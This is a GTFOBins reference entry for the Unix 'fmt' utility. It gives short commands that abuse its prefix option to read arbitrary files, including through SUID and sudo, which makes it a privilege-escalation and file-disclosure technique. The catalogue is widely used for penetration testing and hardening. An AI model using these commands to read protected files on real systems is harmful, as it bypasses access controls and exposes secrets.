GTFOBins.github.io/_gtfobins/fmt.md
2018-07-04 19:26:52 +01:00

19 lines
364 B
Markdown

---
description: 'The read file content is not binary-safe.
'
functions:
file-read:
- code: |
LFILE=file_to_read
fmt -pNON_EXISTING_PREFIX "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./fmt -pNON_EXISTING_PREFIX "$LFILE"
sudo-enabled:
- code: |
LFILE=file_to_read
sudo fmt -pNON_EXISTING_PREFIX "$LFILE"
---